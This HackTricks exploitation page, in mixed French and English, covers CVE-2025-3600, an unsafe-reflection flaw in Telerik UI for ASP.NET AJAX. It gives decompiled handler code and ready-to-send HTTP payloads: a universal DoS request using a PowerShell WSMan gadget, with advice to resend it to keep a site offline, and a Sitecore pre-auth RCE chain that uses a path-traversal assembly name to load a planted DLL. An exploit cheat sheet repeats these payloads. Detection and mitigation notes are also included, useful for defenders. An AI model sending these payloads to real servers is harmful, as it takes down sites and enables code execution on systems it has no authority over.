Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Exécution du constructeur pre‑auth dans le gestionnaire de cache Image Editor de Telerik UI for ASP.NET AJAX permet un DoS universel et, dans de nombreuses apps, une RCE pre‑auth via des gadgets spécifiques à la cible (CVE-2025-3600).

TL;DR

  • Composant/route affecté : Telerik.Web.UI.WebResource.axd avec la query type=iec (gestionnaire de cache Image Editor). Exposé pre‑auth dans de nombreux produits.
  • Primitive : l'attaquant contrôle un nom de type (prtype). Le handler le résout avec Type.GetType() et invoque Activator.CreateInstance() avant de vérifier la sécurité de type de l'interface. Tout constructeur public sans paramètre d'un type .NET s'exécutera.
  • Impact :
    • DoS pre‑auth universel via un gadget .NET framework (PowerShell WSMan finalizer).
    • S'élève souvent en RCE pre‑auth dans des déploiements réels en abusant de gadgets spécifiques à l'app, notamment les handlers AppDomain.AssemblyResolve non sécurisés.
  • Correction : Mettre à jour vers Telerik UI for ASP.NET AJAX 2025.1.416+ ou supprimer/verrouiller le handler.

Versions affectées

  • Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) sont vulnérables.
  • Corrigé dans 2025.1.416 (released 2025-04-30). Appliquez le patch immédiatement ou supprimez/verrouillez le handler.

Surface affectée et découverte rapide

  • Vérifier l'exposition :
    • GET /Telerik.Web.UI.WebResource.axd devrait renvoyer autre chose que 404/403 si le handler est configuré.
    • Inspecter web.config pour les handlers mappés vers Telerik.Web.UI.WebResource.axd.
    • Le chemin pour déclencher le code vulnérable requiert : type=iec, dkey=1, et prtype=.

Exemple de probe et déclencheur générique:

http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly

Remarques

  • Some PoCs use dtype; the implementation checks dkey=="1" for the download flow.
  • prtype doit être assembly-qualified ou résolvable dans l'AppDomain courant.

Cause racine – unsafe reflection dans ImageEditorCacheHandler

Le flux de téléchargement du cache de l'Image Editor construit une instance d'un type fourni dans prtype et ne la convertit en ICacheImageProvider que plus tard, puis valide la clé de téléchargement. Le constructeur a déjà été exécuté lorsque la validation échoue.

Flux décompilé pertinent
csharp
// entrypoint
public void ProcessRequest(HttpContext context)
{
string text = context.Request["dkey"];           // dkey
string text2 = context.Request.Form["encryptedDownloadKey"]; // download key
...
if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1"
{
ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here
string key = context.Request["key"];
if (text == "1" && !this.IsValidDownloadKey(text2))
{
this.CompleteAsBadRequest(context.ApplicationInstance);
return; // cast/check happens after ctor has already run
}
using (EditableImage editableImage = imageProvider.Retrieve(key))
{
this.SendImage(editableImage, context, text, fileName);
}
}
}

private ICacheImageProvider GetImageProvider(HttpContext context)
{
if (!string.IsNullOrEmpty(context.Request["prtype"]))
{
return RadImageEditor.InitCacheImageProvider(
RadImageEditor.GetICacheImageProviderType(context.Request["prtype"]) // [A]
);
}
...
}

public static Type GetICacheImageProviderType(string imageProviderTypeName)
{
return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ?
typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B]
}

protected internal static ICacheImageProvider InitCacheImageProvider(Type t)
{
// unsafe: construct before enforcing interface type-safety
return (ICacheImageProvider)Activator.CreateInstance(t); // [C]
}

Primitive d'exploitation : chaîne de type contrôlée → Type.GetType la résout → Activator.CreateInstance exécute son constructeur public sans paramètres. Même si la requête est ensuite rejetée, les gadget side‑effects se sont déjà produits.

Universal DoS gadget (aucun gadget spécifique à l'application requis)

Classe : System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) possède un finalizer qui dispose d'un handle non initialisé, provoquant une exception non gérée lorsque le GC le finalise. Cela fait planter de manière fiable le processus worker IIS peu après l'instanciation.

Requête DoS unique :

http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Remarques

  • Keep sending periodically to keep the site offline. You may observe the constructor being hit in a debugger; crash occurs on finalization.

De DoS à RCE – schémas d'escalade

L'exécution unsafe du constructor débloque de nombreux gadgets et chaînes spécifiques à la cible. Recherchez :

  1. Parameterless constructors that process attacker input
  • Some ctors (or static initializers) immediately read Request query/body/cookies/headers and (de)serialize them.
  • Example (Sitecore): a ctor chain reaches GetLayoutDefinition() which reads HTTP body "layout" and deserializes JSON via JSON.NET.
  1. Constructors that touch files
  • Ctros that load or deserialize config/blobs from disk can be coerced if you can write to those paths (uploads/temp/data folders).
  1. Constructors performing app-specific ops
  • Resetting state, toggling modules, or terminating processes.
  1. Constructors/static ctors that register AppDomain event handlers
  • Many apps add AppDomain.CurrentDomain.AssemblyResolve handlers that build DLL paths from args.Name without sanitization. If you can influence type resolution you can coerce arbitrary DLL loads from attacker‑controlled paths.
  1. Forcing AssemblyResolve via Type.GetType
  • Request a non-existent type to force CLR resolution and invoke registered (possibly insecure) resolvers. Example assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
  1. Finalizers avec des effets secondaires destructeurs
  • Certains types suppriment des fichiers à chemin fixe dans leurs finalizers. Combiné avec le suivi de liens ou des chemins prévisibles, cela peut permettre une élévation de privilèges locale dans certains environnements.

Exemple de chaîne pre‑auth RCE (Sitecore XP)

  • Étape 1 – Pre‑auth: Déclencher un type dont le static/instance ctor enregistre un insecure AssemblyResolve handler (e.g., Sitecore’s FolderControlSource in ControlFactory).
  • Étape 2 – Post‑auth: Obtenir un accès en écriture dans un resolver-probed directory (e.g., via an auth bypass or weak upload) et y déposer une DLL malveillante.
  • Étape 3 – Pre‑auth: Utiliser CVE‑2025‑3600 avec un type non existant et un traversal‑laden assembly name pour forcer le resolver à charger votre DLL plantée → exécution de code en tant que worker IIS.

Trigger examples

http
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

Validation, hunting and DFIR notes

  • Validation sûre en laboratoire : lancez le DoS payload et surveillez le recycle de l'app pool / les unhandled exception liés au WSMan finalizer.
  • Hunt in telemetry:
  • Requêtes vers /Telerik.Web.UI.WebResource.axd avec type=iec et valeurs prtype étranges.
  • Échecs de chargement de type et événements AppDomain.AssemblyResolve.
  • Crashes/recycles soudains de w3wp.exe à la suite de telles requêtes.

Atténuation

  • Mettre à jour Telerik UI for ASP.NET AJAX vers 2025.1.416 ou ultérieur.
  • Supprimez ou restreignez l'exposition de Telerik.Web.UI.WebResource.axd lorsque possible (WAF/rewrites).
  • Ignorer ou durcir la gestion de prtype côté serveur (la mise à jour applique des vérifications appropriées avant instanciation).
  • Auditer et durcir les gestionnaires AppDomain.AssemblyResolve personnalisés. Évitez de construire des chemins à partir de args.Name sans désinfection ; préférez des chargements strong-named ou des listes blanches.
  • Restreindre les emplacements d'upload/écriture et empêcher les dépôts de DLL dans les répertoires sondés.
  • Surveiller les tentatives de chargement de types non existants pour détecter les abus du resolver.

Aide‑mémoire

  • Vérification de présence :
  • GET /Telerik.Web.UI.WebResource.axd
  • Rechercher le mapping du handler dans web.config
  • Exploit skeleton:
http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
  • Universal DoS:
http
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
  • Résolveur de déclenchement:
This.Class.Does.Not.Exist, watchTowr

Techniques associées

  • IIS post-exploitation, .NET key extraction, et in‑memory loaders:

IIS - Internet Information Services

  • ASP.NET ViewState deserialization et machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks